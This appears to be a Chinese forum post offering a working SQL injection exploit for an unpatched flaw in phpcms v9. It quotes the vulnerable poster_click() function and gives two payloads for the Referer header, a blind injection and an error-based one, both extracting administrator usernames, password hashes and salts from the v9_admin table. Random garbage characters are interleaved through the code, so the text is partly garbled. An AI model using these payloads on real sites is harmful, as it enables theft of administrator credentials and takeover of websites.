phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php
. R) w# }5 v3 c7 i& B  c$ a
% n4 ~0 b' ]- u9 spublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
8 K2 r+ U, o# A2 {$ Y& F. e$ c% a$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
; `2 K3 v, v3 L1 _  J" ~! _! F$ip_area = pc_base::load_sys_class('ip_area');
+ S1 }- H% {( O- @, x$ip = ip();
, _& y/ q) y8 W% D$area = $ip_area->get($ip);
9 A0 N# Y6 G, a2 d0 ]5 T$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
0 v: L9 [% \  @9 S/ p- T' B$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
9 j* }2 [4 v/ |; ~# c4 d$setting = string2array($r['setting']);
8 h! h8 M1 j, I6 jif (count($setting)==1) {
$url = $setting['1']['linkurl'];
4 N* `2 A9 d' q/ I, T: z# s} else {
% M) L- ^1 ~% Z+ v! ]$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
9 n' A; U/ s" k: f3 @}

, [( ]* z, }) T5 X, Q7 Z

  [8 }( j8 i& k利用方式：

1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
: L1 D, g* e0 U4 ?4 J
通过返回页面，正常与否一个个猜解密码字段。
; d. F! M$ v6 T$ G- V
6 o, y6 ]+ y8 y) y2、代码是花开写的，随手附上了：

5 E- T* o1 t' @0 ~! [1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
